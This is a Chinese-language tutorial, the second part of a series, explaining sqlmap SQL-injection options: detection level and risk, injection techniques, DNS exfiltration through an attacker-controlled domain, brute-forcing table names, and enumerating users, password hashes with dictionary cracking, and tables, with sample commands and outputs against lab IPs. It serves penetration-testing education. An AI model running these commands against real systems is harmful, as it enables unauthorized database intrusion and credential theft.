Sqlmap命令行(其二)

我近来时时感到,很需要到一处完全听不见电车、火车声响的地方,好好睡一睡,想一想,哪怕只是一天也好。为此,我有了旅行的欲望。 ——谷崎润一郎《阴翳礼赞》

接上一篇Sqlmap命令行(其一)

0x08 检测

1.检测级别
参数:–level
此参数用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测。
Sqlmap使用的payload保存在目录xml/payloads/中,是xml格式的,可以自己定制。节选一个payload如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>

在上例中可以看到有level标签,其值为2,该payload在检测级别大于等于2时被使用。
risk标签的含义见后文。

检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的,
检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。

若不是很清楚注入点在哪里可以设置一个比较高的检测级别。

强烈建议在向Sqlmap官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。
2.风险等级
参数:–risk
此参数用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。
风险等级2添加了基于时间的注入测试,等级3添加了OR测试。

若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。
因此用户需要能控制风险等级避开有潜在风险的payload。

3.页面对比
参数:–string、–not-string、–regexp
默认情况下在布尔型注入中Sqlmap通过比较返回页面内容来判断True或False。
但有时页面每次刷新都会不同,如页面中有动态广告。Sqlmap会尽力判断出页面中动态的部分来,但并不总能成功。
用户可以用参数“–string”指出代表True的页面会包含而代表False的页面不会包含的字符串以供Sqlmap判断True或False,
若这样的字符串是变动的还可以用参数“–regexp”指定一个正则表达式去匹配这样的字符串。
或者用参数“–not-string”指出代表False的页面会包含而代表True的页面不会包含的字符串。

参数:–code
或者更简单地,若是用户知道代表True的页面HTTP状态码为200而代表False的页面HTTP状态码不为200比如是401,
可以用“–code”参数告诉告诉Sqlmap这一信息,如“–code=200”。

参数:–titles
若是用户知道代表True的页面title和代表False的页面title不同,
如代表True的页面title为“Welcome”,代表False的页面title为“Forbidden”,
就可以使用参数“–titles”让Sqlmap依据title来判断True或False。

参数:–text-only
若是HTTP响应体中有许多诸如JavaScript之类的活动内容,可以使用参数“–text-only”让Sqlmap只专注于纯文本内容。

0x09 注入技术

这些参数用于对特定的SQL注入技术进行调整。
1.检测时所用技术
参数:–technique
此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行检测。
此参数后跟表示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:

B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)

可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。
想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。

2.基于时间延迟注入中延时设置
参数:–time-sec
用此参数设置基于时间延迟注入中延时时长,默认为5秒。

3.联合查询注入中列数设置
参数:–union-cols
在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。
可以用此参数指定列数检测范围,如“–union-cols 12-16”就会让Sqlmap的列数检测范围变成12到16。

4.联合查询注入中字符设置
参数:–union-char
默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。
因为有时使用空字符注入会失败而使用随机数会成功。

使用此参数可以指定联合查询注入中使用的字符,如:“–union-char 123”。

“联合查询注入中使用的字符”究竟是什么意思呢?请看下面两个例子:

第一个例子,不使用“–union-char”,默认情况下联合查询注入中使用的字符为空字符(NULL):

1
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3

部分输出为:

1
2
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD

第一个例子,使用“–union-char 123”,指定联合查询注入中使用的字符为“123”:

1
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123

部分输出为:

1
2
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb

仔细观察上示两例的输出就能明白“联合查询注入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。

5.联合查询注入中表名设置
参数:–union-from
有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。
(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)
用此参数指定这个表名,如:“–union-from=users”。

6.DNS泄露攻击
参数:–dns-domain
SQL注入中的DNS泄露攻击详情见论文《Data Retrieval over DNS in SQL Injection Attacks》。

假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用“–dns-domain attacker.com”来进行DNS泄露攻击。

实际上若是攻击者没有控制任何一台域名解析服务器,那么她可以注册一个新域名,再自己搭建一台域名解析服务器用于接受数据。

7.二阶注入攻击
参数:–second-order
有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL。

0x0A 指纹

默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。
参数:-f或–fingerprint
若想执行更广泛的数据库管理系统指纹识别可以添加此参数。

参数:-b或–banner
若想得到更精确的指纹识别结果可以添加此参数,详情见后文。

0x0B 暴力破解

1.暴力破解表名
参数:–common-tables
有些情况下用“–tables”不能列出数据库中表名来,如:

版本小于5.0的MySQL没有information_schema表
微软Access的MSysObjects表默认不可读
数据库用户权限过低无法读取表名

当无法读出表名时可以使用参数“–common-tables”暴力破解表名,
该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。

2.暴力破解列名
参数:–common-columns
有些情况下用“–columns”不能列出数据表中列名来,如:

版本小于5.0的MySQL没有information_schema表
微软Access的MSysObjects表默认不可读
数据库用户权限过低无法读取列名

当无法读出列名时可以使用参数“–common-columns”暴力破解列名,
该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。

0x0C 列举数据

这些参数用于列举出数据库管理系统信息、数据结构和数据内容。
1.一键列举全部数据
参数:–all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。

2.列举数据库管理系统信息
参数:-b或–banner
大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。
通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“–banner”来列举数据库管理系统的这一信息。

下例中的数据库是Oracle:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

部分输出为:

1
2
3
4
[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

下例中的数据库是Mysql:

1
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner

部分输出为:

1
2
3
4
[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'

3.列举当前用户
参数:–current-user
使用这一参数有可能将执行SQL语句的用户列举出来。

4.列举当前数据库
参数:–current-db
使用这一参数有可能将WEB应用连接的数据库名列举出来。

5.列举服务器主机名
参数:–hostname
使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来,如:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname

部分输出如下:

1
2
3
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'

6.检测当前用户是否是管理员
参数:–is-dba
使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。如:

1
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba

部分输出为:

1
2
3
4
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True

7.列举数据库管理系统中的用户
参数:–users
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。

8.列举并破解数据库管理系统用户密码Hash值
参数:–passwords
当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值。
Sqlmap会先列举用户,再列举用户密码Hash值。

下面是一个以PostgreSQL为目标的例子:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

部分输出如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

Sqlmap不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。

若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户,如:

1
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU

部分输出如下:

1
2
3
4
database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root

9.列举数据库管理系统的用户权限
参数:–privileges
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。

若想只枚举特定用户的权限使用参数“-U”指定用户,可用“CU”来代表当前用户。

若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。

10.列举数据库管理系统的用户角色
参数:–roles
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。

若想只枚举特定用户的角色使用参数“-U”指定用户,可用“CU”来代表当前用户。

官方手册上说只有目标数据库管理系统是Oracle时这一功能才可用,但我在Mysql中测试也是可用的。

11.列举数据库管理系统中的所有数据库
参数:–dbs
当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。

12.列举数据库数据库的所有表
参数:–tables、–exclude-sysdbs和-D
当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数“–tables”可以列举用参数“-D”指定的数据库中的所有数据表。
若没有用参数“-D”指定数据库,只使用参数“–tables”会列举所有数据库中所有表。如:

1
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables

使用参数“–exclude-sysdbs”可排除系统数据库。在Oracle中要指定TABLESPACE_NAME而不是数据库名。
13.列举数据表的所有列
参数:–columns、-C、-T和-D
如权限允许,使用参数“–columns”可以列出用“-D”指定的数据库中用“-T”指定的表中的所有列的名字和数据类型。
若没有指定数据库则会默认使用当前数据库。还可以用“-C”指定感兴趣的某几列这样就不用列出所有列来。

下面是以SQLite为目标的例子:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users

部分输出如下:

1
2
3
4
5
6
7
8
9
10
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×